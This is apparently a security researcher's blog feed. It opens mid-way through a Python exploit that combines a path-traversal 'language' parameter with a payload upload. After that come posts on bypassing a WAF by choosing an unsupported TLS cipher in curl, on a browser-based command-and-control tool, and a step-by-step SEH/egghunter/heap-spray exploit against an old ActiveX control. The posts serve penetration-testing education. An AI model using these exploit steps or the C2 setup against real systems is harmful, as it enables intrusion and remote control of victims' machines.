<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">'https://%s/tools/user_settings.php'</span> <span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'passwort'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'repeat_password'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'language'</span><span class="p">:</span><span class="s">'../../../../../../../../../../../../../..%s'</span> <span class="o">%</span> <span class="n">path</span><span class="p">,</span><span class="s">'id'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">user_id</span><span class="p">,</span><span class="s">'_csrf_id'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">_csrf_id</span><span class="p">,</span><span class="s">'_csrf_key'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">_csrf_key</span><span class="p">,</span><span class="s">'next_tab'</span><span class="p">:</span><span class="s">''</span><span class="p">,</span><span class="s">'phpsessid'</span><span class="p">:</span><span class="s">'%s'</span> <span class="o">%</span> <span class="n">phpsessid</span><span class="p">},</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">exp</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'https://%s/index.php'</span><span class="o">%</span> <span class="n">host</span><span class="p">,</span><span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span>
<span class="n">login</span><span class="p">()</span>
<span class="n">createSite</span><span class="p">()</span>
<span class="n">createFtp</span><span class="p">()</span>
<span class="n">getRelativePath</span><span class="p">()</span>
<span class="n">waitTillCreation</span><span class="p">()</span>
<span class="n">uploadPayload</span><span class="p">()</span>
<span class="n">triggerVuln</span><span class="p">()</span>
</code></pre></div></div>Introduction In this blogpost I will write about a suspicion I had which turned out to be false, how regex-es can go wrong and also how to chain logic features to achieve reliable Remote Command Execution.Bypassing Web-Application Firewalls by abusing SSL/TLS2018-07-02T00:00:00+00:002018-07-02T00:00:00+00:00https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass<p>During the latest years Web Security has become a very important topic in the IT Security field.
The advantages the web offers resulted in very critical services being developed as web applications. The business requirements for their web applications security has also changed a lot and apart from their good developing standards they add another layer of security.
Web Application Firewall’s are L7 firewalls which inspect web traffic and “try” to protect from attacks.
In this blog post I will explain an interesting bypass vector that I found recently during a deployment audit of a WAF.</p>
<h1 id="the-cause-of-the-vulnerability">The cause of the “vulnerability”</h1>
<p>Recently I was assigned to do a deployment test of a WAF in a company. I won’t name the company and the product for obvious reasons but the principle stays the same. The architecture of the deployment was something like this:</p>
<p><img src="/images/waf-general-arch.png" alt="WAF General Architecture" /></p>
<p>After I was provided with the required information I started to look for different ways to bypass it. I was given access to the WAF for different tests and apart from other methods I found to bypass it, an interesting one was by abusing SSL Ciphers. The first time I logged in the WAF the <code class="language-plaintext highlighter-rouge">Unsupported SSL Ciphers</code> alert caught my eye really quick. Once I saw the alert description I started digging more in the documentation of the product and managed to find all the supported SSL ciphers, but before continuing I want to give a quick explanation how an SSL connection works.</p>
<p>The SSL handshake is composed by 3 main phases:</p>
<h1 id="clienthelloserverhello-phase">ClientHello/ServerHello Phase.</h1>
<p>The handshake begins by the client which sends a ClientHello message. This message contains all the information the server needs, like the various cipher suites and the supported SSL/TLS versions. After receiving the connection the server responds with a ServerHello message which contains similar information that is required by the client. The server also returns what cipher suite and SSL version will be used.</p>
<h1 id="certificate-exchange">Certificate Exchange</h1>
<p>After the connection is initialized the server needs to prove its identity to the client. The server sends the SSL certificate to the client and the client checks if it trust the certificate and continues the connection.</p>
<h1 id="key-exchange">Key Exchange</h1>
<p>Now that a secure tunnel is established the server and client exchange a key which will be used for both encryption and decryption of the data.</p>
<h2 id="attack-idea">Attack idea</h2>
<p>The idea that popped in my head was :
<code class="language-plaintext highlighter-rouge">What if I use an "unsupported" SSL Cipher to initialize the connection to the WebServer which supports that cipher, the WAF would not be able to identify the attack because it can't view the data.</code></p>
<p>So I started digging around and found out the documentation for the WAF vendor, from there I extracted all the SSL Ciphers that were supported.
As can be seen below.</p>
<h1 id="sslv3">SSLv3</h1>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SSL_RSA_WITH_NULL_MD5
SSL_RSA_WITH_NULL_SHA
SSL_RSA_WITH_RC4_128_MD5
SSL_RSA_WITH_RC4_128_SHA
SSL_RSA_WITH_DES_CBC_SHA
SSL_RSA_WITH_3DES_EDE_CBC_SHA
SSL_RSA_EXPORT_WITH_RC4_40_MD5
SSL_RSA_EXPORT_WITH_DES40_CBC_SHA
</code></pre></div></div>
<h1 id="tls10-12">TLS/1.0-1.2</h1>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TLS_RSA_WITH_NULL_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_EXPORT1024_WITH_RC4_56_MD5
TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_RC4_128_MD5 = { 0x000x04 }
TLS_RSA_WITH_RC4_128_SHA = { 0x000x05 }
TLS_RSA_WITH_DES_CBC_SHA = { 0x000x09 }
</code></pre></div></div>
<p>The next step is to identify the SSL Ciphers that are supported by the webserver.</p>
<p>There are a lot of ways to identify the supported ciphers but I used <code class="language-plaintext highlighter-rouge">sslscan</code> because it’s easy to install and gives a lot of detailed information.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwn@thinkpad:~<span class="nv">$ </span><span class="nb">sudo </span>apt <span class="nb">install </span>sslscan
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
sslscan
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 26,7 kB of archives.
After this operation, 81,9 kB of additional disk space will be used.
Get:1 http://al.archive.ubuntu.com/ubuntu bionic/universe amd64 sslscan amd64 1.11.5-rbsec-1.1 <span class="o">[</span>26,7 kB]
Fetched 26,7 kB <span class="k">in </span>0s <span class="o">(</span>73,8 kB/s<span class="o">)</span>
Selecting previously unselected package sslscan.
<span class="o">(</span>Reading database ... 177002 files and directories currently installed.<span class="o">)</span>
Preparing to unpack .../sslscan_1.11.5-rbsec-1.1_amd64.deb ...
Unpacking sslscan <span class="o">(</span>1.11.5-rbsec-1.1<span class="o">)</span> ...
Processing triggers <span class="k">for </span>man-db <span class="o">(</span>2.8.3-2<span class="o">)</span> ...
Setting up sslscan <span class="o">(</span>1.11.5-rbsec-1.1<span class="o">)</span> ...
pwn@thinkpad:~<span class="nv">$ </span>sslscan http://target/ | <span class="nb">grep </span>Accept
</code></pre></div></div>
<p>The command above will list all the supported SSL/TLS versions and ciphers from the webserver.</p>
<p>Comparing the result from sslscan and the documentation of the product, I was able to identify some ciphers which were not supported in the Web Application Firewall but supported in the webserver.</p>
<p><code class="language-plaintext highlighter-rouge">Accepted TLSv1 256 bits ECDHE-RSA-AES256-SHA</code></p>
<p><em>The cipher supported on the webserver but not on WAF</em></p>
<p>To test my theory I created a WAF rule which blocked the request if the path of the request was /ssl-cipher-test.</p>
<p>Visiting the path will block the connection successfully.</p>
<p><img src="/images/Blocked-request.png" alt="Blocking the request" /></p>
<p>A quick way to exploit this “bypass” is by specifying the client ciphers, leaving only the one that will bypass the firewall.</p>
<p>You can specify the cipher using <code class="language-plaintext highlighter-rouge">--ciphers</code> command on curl, in this case I specified ECDHE-RSA-AES256-SHA.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwn@thinkpad:~<span class="nv">$ </span>curl <span class="nt">--ciphers</span> ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test
<html <span class="nv">lang</span><span class="o">=</span>en>
<title>HELLO </title>
<p>Bypass worked</p>
pwn@thinkpad:~<span class="nv">$ </span>
</code></pre></div></div>
<p>As we see from the response above the Web Application Firewall was bypassed successfully.</p>
<h1 id="closing-remarks">Closing remarks</h1>
<p>The main plan for me before publishing this blogpost was creating a scanner to scan all the supported ciphers, find one which is supposed to bypass the firewall and then start a proxy listener to forward all the requests with that cipher.</p>
<p>Since that will require a lot of time that I don’t have, I decided to release the blogpost and inspire someone to create something based on this research.</p>
<h1 id="references">References</h1>
<p><a href="https://security.stackexchange.com/questions/67931/why-cant-i-decrypt-ssl-traffic-with-the-clients-private-key-only">https://security.stackexchange.com/questions/67931/why-cant-i-decrypt-ssl-traffic-with-the-clients-private-key-only</a></p>
<p><a href="https://www.owasp.org/index.php/TLS_Cipher_String_Cheat_Sheet">https://www.owasp.org/index.php/TLS_Cipher_String_Cheat_Sheet</a></p>
<p><a href="https://github.com/curl/curl/blob/13ef623a81736e95da1cc1d13a02dd78e228adee/docs/CIPHERS.md">CURL Ciphers Document</a></p>During the latest years Web Security has become a very important topic in the IT Security field. The advantages the web offers resulted in very critical services being developed as web applications. The business requirements for their web applications security has also changed a lot and apart from their good developing standards they add another layer of security. Web Application Firewall’s are L7 firewalls which inspect web traffic and “try” to protect from attacks. In this blog post I will explain an interesting bypass vector that I found recently during a deployment audit of a WAF.Browser-C2 using legitimate browsers for Command and Control Operations2018-05-25T16:42:00+00:002018-05-25T16:42:00+00:00https://0x09al.github.io/security/c2c/browser/2018/05/25/browser-c2<p>During the recent years companies are starting to get better at security. If 5-6 years before you could “finish” your pentest in a day , increased security awareness is making them “harder” and more challenging.</p>
<p>This blogpost will describe a little “challenge” I faced during an engagment, how I solved it and will describe Browser-C2.</p>
<p>So imagine gaining initial foothold to a pivot point, but you can’t establish external connections because every endpoint has strict host-based firewall policies and they are using a proxy.
The first thing that came in my mind was that they were using some kind of host-based firewall and since I couldn’t establish connections even on the same subnet , the policies were based on applications.</p>
<p>To verify my theory, I executed a hidden browser window through my pivot point to visit a specific URL and I received the callback. That meant that the browser was allowed to do connections and I needed to use some kind of Browser based only communication.</p>
<p>At first i thought, “ok there is probably a tool to do this” but I was wrong. So that is how all started and I ended up writing Browser-C2 , which is a <strong>POC</strong> code to use a legitemate browser to do Command and Control operations.</p>
<h1 id="browser-c2-architecture">Browser-C2 Architecture</h1>
<p>Browser-C2 Architecture is pretty simple. There are two elements.
The first one is the Server and the other one is the Agent.</p>
<p>The server will start a HTTP listener which will wait for callbacks and data from the “victim” browser.</p>
<p>The agent will start a HTTP listener locally and also execute a browser to connect to the Server.</p>
<p>All the communication is done by the client browser and is sent to the Agent by HTTP Requests.</p>
<p>The architecture is as follows :</p>
<p><img src="https://raw.githubusercontent.com/0x09AL/Browser-C2/master/images/Arch.png" alt="ScreenShot" /></p>
<p>This code is still a POC and not implemented very good.</p>
<p>There is a lot of room for improvements , for example (Filtering of input in Agent Name, Access-Allow-Origin header, Encryption support, Checking of XMLHTTP request if they are successfull or not etc) so keep that in mind before using it in production and relay 100% to it.</p>
<h1 id="browser-c2-demo">Browser-C2 Demo</h1>
<p>So enough with the talking let’s demo it.</p>
<p>Browser-C2 components are built in Go. First you need to install <strong>gorilla/mux</strong> and <strong>chzyer/readline</strong>.</p>
<p>Before compiling any of the components you need to make some changes.</p>
<h2 id="agent">Agent</h2>
<p>You need to first configure the C2Url in agent.go to match your own C&C url.</p>
<p><img src="https://raw.githubusercontent.com/0x09AL/Browser-C2/master/images/c2url.png" alt="ScreenShot" /></p>
<p>In case you want to allow only one specific URL to access the Agent HTTP Server specify your custom Access-Control-Allow-Origin.</p>
<p>After you have configured the information above you can compile the Agent by running</p>
<p><code class="language-plaintext highlighter-rouge">C:\Users\pwn\go\src\Browser-C2\agent > go build agent.go</code></p>
<h2 id="server">Server</h2>
<p>You can change the default options on the Server like the listening port.
Also in the file <code class="language-plaintext highlighter-rouge">jquery.js</code> you need to change the</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var url = "http://SERVER IP:8080/"; // URL of the Remote Endpoint
var local_url = "http://127.0.0.1:8081/"; // URL of the Agent Local Endpoint
</code></pre></div></div>
<p>To compile the server go to the home dir of the project and :</p>
<p><code class="language-plaintext highlighter-rouge">C:\Users\pwn\go\src\Browser-C2 > go build</code></p>
<p>After compiling the components run the server on your C2 and the Agent in the “Victim” machine.</p>
<p>At the moment a connection is estabilished it will print the agent name.
You can connect to it by using the <code class="language-plaintext highlighter-rouge">use {AGENT NAME}</code> command.
After you are at the Agent workspace it is a virtual CMD for the remote system.</p>
<p>Example of executing commands to a connected agent.</p>
<p><img src="https://raw.githubusercontent.com/0x09AL/Browser-C2/master/images/example.png" alt="ScreenShot" /></p>
<p>To that’s it for Browser-C2. As I mentioned previously this code is very beta and there are a lot of ways things can go wrong.
Hope you enjoyed this short blog post.</p>
<p>Follow me on Twitter : @0x09AL</p>
<p>Browser-C2 : https://github.com/0x09AL/Browser-C2</p>During the recent years companies are starting to get better at security. If 5-6 years before you could “finish” your pentest in a day , increased security awareness is making them “harder” and more challenging.OSCE - CTP Course Preparation - HeapSpray + SEH + EggHunter2017-07-06T16:42:00+00:002017-07-06T16:42:00+00:00https://0x09al.github.io/security/ctp/osce/exploitation/2017/07/06/osce-ctp-prep-heapspreay-seh-egghunter<h2 id="introduction">Introduction</h2>
<p>Hello humans!
I have been busy working preparing myself for the CTP Course and wanted to share my experience.</p>
<p>Just a quick disclaimer , i am not an expert exploit developer so maybe i have made some mistakes and certainly there are better ways to do the things done here but hey we must Try harder. In this post we will combine some exploitation methods to make a reliable vulnerability for RSP Mp3 OCX on Windows XP Sp3 (IE 7).</p>
<p>I know the software are outdated and not anything new but <em>We must learn to walk before we can run.</em></p>
<h2 id="environment">Environment</h2>
<h1 id="victim-machine">Victim Machine</h1>
<ul>
<li>Windows XP Sp3 with Internet Explorer 7</li>
<li>Vulnerable Application</li>
<li>Immunity Debugger</li>
<li>mona.py</li>
</ul>
<h1 id="attacker">Attacker</h1>
<ul>
<li>Metasploit Framework</li>
<li>Good Editor</li>
</ul>
<p>To register the vulnerable application you must run the register.bat and set the Internet Explorer Security level to LOW for Local Intranet.</p>
<p><img src="https://4.bp.blogspot.com/-6elnPMdSVlA/WV4twdyLMCI/AAAAAAAAARo/DY2jSDYfg9QIDLN8l-gX6cd4t7U-6v0ywCLcBGAs/s480/image%2B7.png" alt="Internet Explorer Security Level" title="Internet Explorer Security Level" /></p>
<h2 id="exploitation-101">Exploitation 101</h2>
<p>If you are preparing for OSCE I assume you know basic exploit development so I won’t explain in details the exploitation methods. I will focus on the combination of those methods. At the end I will share some great resources that can help you grasp the methods in more detail.</p>
<h2 id="heap-spray-basics">Heap Spray Basics</h2>
<p>In computer security, heap spraying is a technique used in exploits to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process’s heap and fill the bytes in these blocks with the right values. Let’s see a practical example of this.</p>
<p>First attach immunity debugger to IE.</p>
<p>I have created a simple script that will convert ascii so we can use it with unescape function on Javascript. And visit our html file which will allocate the TryHarder string.</p>
<p><img src="https://3.bp.blogspot.com/-O6vcP-rKpfA/WV4twnedkeI/AAAAAAAAAR4/hk-LXUrjZ30opWtW18iIMknVf3XPOYe-gCEwYBhgL/s320/image.png" alt="Conversion of ASCII" title="Conversion of ASCII" /></p>
<p><img src="https://2.bp.blogspot.com/-s8D-qTWqq8g/WV4tvXp2-mI/AAAAAAAAARA/QYFQM2wBTfAyCwNAZHt4Q4hCxtQaOzwfACEwYBhgL/s640/image%2B2.png" alt="Allocating data in Heap" title="Allocating data in Heap" /></p>
<p><img src="https://4.bp.blogspot.com/-DaAM8JJxSCE/WV4twBbiBdI/AAAAAAAAARc/-68RyndpAckQLA9qDGyoqdM-m6yjIXtYACEwYBhgL/s640/image%2B4.png" alt="TryHarder was found on the HEAP" title="TryHarder was found on the HEAP" /></p>
<p>Keep this things in mind because we will use them later on our exploit.</p>
<h2 id="seh-exploitation-basics">SEH Exploitation Basics</h2>
<p>Structured Exception Handler is a piece of code which purpose is to deal with exceptions an application throws. This is the default windows exception handler and you have seen it many times. SEH is the one responsible for the “The program has encountered a problem and needs to close.” popups.</p>
<p>What we need to know for now is that we will overwrite SEH with a pointer to <code class="language-plaintext highlighter-rouge">pop pop ret</code> and nSEH with a jump to our shellcode.</p>
<p>For a more detailed explanation of SEH Exploitation go to Corelan Website : <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">Corelan SEH Exploitation.</a></p>
<h2 id="egghunter-basics">Egghunter basics</h2>
<p>An egghunter is a piece of shellcode (usally very small ) and is used to search the memory for our the next stage shellcode which is tagged so the egghunter can identify and then execute.</p>
<h3 id="egghunter-sample">EggHunter Sample</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x10[tag+shellcode] <---
0x09[JUNKJUNK] |
0x08[JUNKJUNK] |
0x07[JUNKJUNK] |
0x06[JUNKJUNK] |
0x05[Egghunter] ------|
</code></pre></div></div>
<p>A great whitepaper about EggHunters was written by scape in 2004 and as always Corelan Website has more detailed information.</p>
<p><a href="https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/">Corelan EggHunters</a></p>
<p><a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf">Scape Paper for EggHunters</a></p>
<h2 id="exploitation">Exploitation</h2>
<p>First lets grab the POC from Exploit-DB which can be found here:</p>
<p><a href="https://www.exploit-db.com/exploits/14605/">RSP MP3 Player - OCX ActiveX Buffer Overflow (heap spray) </a></p>
<p>The author just sprayed the HEAP and jumps to an address pointing to HEAP but we are going to take things to another level. The following code will fill the crash string with 1000 A and will call the vulnerable function which is OpenFile.</p>
<p><img src="https://1.bp.blogspot.com/-RTEm59FvmvA/WV4twFlsakI/AAAAAAAAARk/bM-sZJjODLkTxSebDnSWEmN2haquRDq2ACEwYBhgL/s1600/image%2B5.png" alt="" /></p>
<p>Let’s see what happens when we load this in Internet Explorer.</p>
<p><img src="https://2.bp.blogspot.com/-yz9_8dQ5YD4/WV4twQXrsTI/AAAAAAAAARw/81wmE2QQ9As3Thu2NmLNJVvlID4gmhR_QCEwYBhgL/s640/image%2B8.png" alt="" />
<em>We have a SEH Overwrite</em></p>
<p>Now it’s time to find the offsets and we will use pattern_create and mona findmsp feature.
Since we need the string in a custom format and msfvenom doesn’t support it I created another script which does the conversion from ASCII to the required format.</p>
<p><img src="https://1.bp.blogspot.com/-Ux7RcPbDqSs/WV4twgb6rcI/AAAAAAAAAR0/1WK8ZzSTdJkSS_Po5hvEa7F4s-HD5rREgCEwYBhgL/s1600/image%2B9.png" alt="" /></p>
<p>After that we update our POC with the pattern.</p>
<p><img src="https://4.bp.blogspot.com/-bY4P7J1KYtc/WV4tuVcDSpI/AAAAAAAAAQg/u0IhyDC4GG4bTbx3FSUJZDNdS4HbCczbQCEwYBhgL/s1600/image%2B10.png" alt="" />
<em>Metasploit Pattern</em></p>
<p>Loading the html file in IE will crash and then we can calculate the offsets with mona.py</p>
<p><img src="https://1.bp.blogspot.com/-MKXdPf2Q_kA/WV4tueUkRBI/AAAAAAAAAQY/QoNXJXfX2gEAt9LswPldsC48g6Q9KPitwCEwYBhgL/s1600/image%2B11.png" alt="" />
<em>Mona findmsp offsets</em></p>
<p>Reading mona output we see that SEH is overwritten in offset 644. We need to update the POC to verify the offsets are correct and everything is fine.The crafted input will now be :</p>
<p><code class="language-plaintext highlighter-rouge">"A" * 644 + nSEH + SEH + "D" * 1000 - 644 - 4 - 4</code></p>
<p><img src="https://1.bp.blogspot.com/-afHI7eiQ2uM/WV4tubmk9qI/AAAAAAAAAQc/APkfsX3s0bg04yvoVDjZ2OCu0Zk0svqwwCEwYBhgL/s1600/image%2B12.png" alt="" />
<em>Updated POC code</em></p>
<p>After reloading the code we see that the SEH was overwritten correctly</p>
<p><img src="https://2.bp.blogspot.com/-8uhJ71-cOBQ/WV4tunukhQI/AAAAAAAAAQo/lHjtQ9zEhe07R1a9DNFFxeKoVC_M5U7pACEwYBhgL/s1600/image%2B13.png" alt="" /></p>
<p><em>Stack view of the SEH</em></p>
<p>As you are familiar with SEH we need to find a pointer to a pop pop ret and we can use mona.py for this.</p>
<p>Running !mona SEH will give us plenty of results,I choosed the address <code class="language-plaintext highlighter-rouge">0x746D6035</code></p>
<p><img src="https://1.bp.blogspot.com/-yxHlzO1vzxI/WV4tujqwcRI/AAAAAAAAAQk/z2t01_NBUvQPaPYqZI1JC1ri98F6f9ntACEwYBhgL/s1600/image%2B14.png" alt="" />
<em>Mona Result</em></p>
<p>After that we modify our POC to overwrite the SEH with that address.</p>
<p><img src="https://2.bp.blogspot.com/-mlaK5pEdEfY/WV4tu49PRHI/AAAAAAAAAQs/aYnMHctgMu82WTtibAMvtvB_lQMFRauEgCEwYBhgL/s1600/image%2B15.png" alt="" />
<em>Updated POC</em></p>
<p>Re-running the exploit will hit our break-point.</p>
<p><img src="https://2.bp.blogspot.com/-f3O2Ta5XrH4/WV4tu5iZreI/AAAAAAAAAQ0/IfKanhsppHUbb15lAOrNGiCeuqoL1fjMQCEwYBhgL/s1600/image%2B16.png" alt="" /></p>
<p>Now we have 4 bytes to do a short JUMP to our shellcode which translates to EB 07. Modifying the exploit code again with the updated nSEH we hit that everything goes well and we land on the 44 (INC ESP) which is our controlled input.</p>
<p>Until now everything is going great but after finding the bad-chars problems began. I’m not going to describe the discovery of bad chars here but you can find a lot of references online.</p>
<p>Here is the bad char list:
<code class="language-plaintext highlighter-rouge">\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f</code></p>
<p>They are a lot and will increase the size of our payload. Currently we have 348 bytes of free space for our shellcode but a normal reverse shell for this requires at least 728 Bytes</p>
<p><img src="https://3.bp.blogspot.com/-vXPrP0WIsNA/WV4tvK_hViI/AAAAAAAAAQ4/7LqIcvXbHfgQQc0jcevxat97plWOpL6mgCEwYBhgL/s1600/image%2B18.png" alt="" />
<em>Reverse shell payload size</em></p>
<p>Putting our shellcode at the first piece of junk would not work because we only have 644 bytes. For this we will use Heap Spray but will get there later , Let’s focus on our egghunter for now.</p>
<p>To generate an egghunter I used the one that comes with Metasploit Framework. The tag here is w00t. Remember that also the egghunter needs to avoid the badchars for that reason we will encode it with msfvenom.</p>
<p><img src="https://4.bp.blogspot.com/-RAw_QsPEsE0/WV4tvdxfv6I/AAAAAAAAARE/JmFdUwX3KvsQrgMsxmGpPCDeDe4jPTaqACEwYBhgL/s1600/image%2B20.png" alt="" /></p>
<p>Now we have an alphanumeric egghunter which is 126 bytes. After further analysis I saw that the shellcode space was not 348 bytes as we thought but was shrinked to 102 bytes.
So we have to put the egghunter in the first part of the junk and jump back there.I choosed this address <code class="language-plaintext highlighter-rouge">02A8FEDA</code> which points to our first part of controlled input.</p>
<p>I assembled a JUMP to that address so we can place our egghunter.</p>
<p><code class="language-plaintext highlighter-rouge">02A8FF9E ^E9 37FFFFFF JMP 02A8FEDA</code></p>
<p>Which will be translated to <code class="language-plaintext highlighter-rouge">%E9%37%FF%FF%FF</code></p>
<p><img src="https://3.bp.blogspot.com/-B01Dlj4E9Z0/WV4tvaGP0CI/AAAAAAAAARI/MCxxa9tNXVsq-8a92ZTcxY7PZex0xReswCEwYBhgL/s1600/image%2B21.png" alt="" />
<em>Updated POC that will land in the egghunter</em></p>
<p>So now the memory will look like this :</p>
<p><code class="language-plaintext highlighter-rouge">NOPs + EggHunter + nSEH + SEH + NOPs + JMP BACK TO EGGHUNTER SHELLCODE + JUNK</code></p>
<p>Stepping through we see that everything is now aligned correctly.</p>
<p><img src="https://1.bp.blogspot.com/-d_K1mnnYXt0/WV4tvsRj9TI/AAAAAAAAARQ/D3PaWWpdjqE_6mmEKH3CFYifPblAYpJJwCEwYBhgL/s640/image%2B22.png" alt="" />
<em>Execution Flow</em></p>
<p>So now we managed to corrupt the program execution and execute our egghunter but as you know egghunter needs the shellcode somewhere in the memory.</p>
<p>To do that we will use the unescape javascript function as i explained before. To make it more reliable we will allocate the shellcode 500 Times which makes it easier for the egghunter to find and can prevent errors if that part of the heap is overwritten.</p>
<p><img src="https://3.bp.blogspot.com/-_4_nCZpK9FI/WV4tvqPq-6I/AAAAAAAAARM/9ZCNLFzOWqs8tDKmJFt8Cj4HcMExMxXEQCEwYBhgL/s1600/image%2B23.png" alt="" />
<em>The function that will allocate the shellcode</em></p>
<p>Now lets test all the hardwork.</p>
<p><img src="https://3.bp.blogspot.com/-OnPg5RHAZAQ/WV4tvyyuHWI/AAAAAAAAARU/bOz5l3bI5yA3RVRjgqPzWtwjWp2x20x_gCEwYBhgL/s1600/image%2B24.png" alt="" />
<em>Shellcode generation</em></p>
<p>After generating the shellcode we put it in our exploit and we are greeted with the calculator.</p>
<p><img src="https://4.bp.blogspot.com/-iwFr0dgKh2c/WV4tv670DTI/AAAAAAAAARY/8D-C2UYHaXIXBUa-FDBgthA-z10qivUlQCEwYBhgL/s1600/image%2B25.png" alt="" /></p>
<p>That’s it for this blog post I hope you enjoyed it.</p>
<p>The full Exploit can be found here:</p>
<p><a href="https://gist.github.com/0x09AL/b481ce56aefd97320a8e4421f565ca03">https://gist.github.com/0x09AL/b481ce56aefd97320a8e4421f565ca03</a></p>
<h3 id="references">References</h3>
<ul>
<li><a href="http://www.fuzzysecurity.com/">http://www.fuzzysecurity.com/</a></li>
<li><a href="https://www.corelan.be/">https://www.corelan.be/</a></li>
<li><a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a></li>
</ul>Introduction Hello humans! I have been busy working preparing myself for the CTP Course and wanted to share my experience.